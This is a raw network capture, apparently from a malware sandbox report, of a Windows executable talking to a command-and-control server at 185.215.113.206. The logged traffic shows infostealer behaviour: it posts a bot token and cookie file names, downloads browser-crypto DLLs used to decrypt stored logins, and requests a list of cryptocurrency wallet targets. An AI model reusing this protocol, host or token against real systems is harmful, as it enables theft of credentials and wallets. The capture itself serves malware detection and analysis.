Nov 9, 2024 22:09:32.438206911 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file"------CBKJKJDBFIIDHJKEHJEH--
Nov 9, 2024 22:09:33.210143089 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49813	185.215.113.206	80	1848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:09:39.085514069 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 9, 2024 22:09:39.085618019 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 Data Ascii: ------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 9, 2024 22:09:40.489624977 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:40.814240932 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file"------AFCFHJJECAEHJJKEHIDB--
Nov 9, 2024 22:09:41.586843967 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:42.303217888 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:42.581265926 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 9, 2024 22:09:42.581281900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 9, 2024 22:09:42.581291914 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 9, 2024 22:09:42.581305981 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 9, 2024 22:09:42.581327915 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 9, 2024 22:09:42.581340075 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 9, 2024 22:09:42.581351042 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 9, 2024 22:09:42.581362009 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 9, 2024 22:09:42.581373930 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 9, 2024 22:09:42.581392050 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 9, 2024 22:09:45.594814062 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:45.871802092 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 9, 2024 22:09:47.528250933 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:47.808151960 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 9, 2024 22:09:48.580600977 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:48.857538939 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 9, 2024 22:09:50.713973045 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:51.131630898 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 9, 2024 22:09:51.426397085 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:51.703146935 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 9, 2024 22:09:52.283745050 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGH Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 9, 2024 22:09:53.057497978 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:53.116316080 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"wallets------ECAKECAEGDHIECBGHIII--
Nov 9, 2024 22:09:53.395519018 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 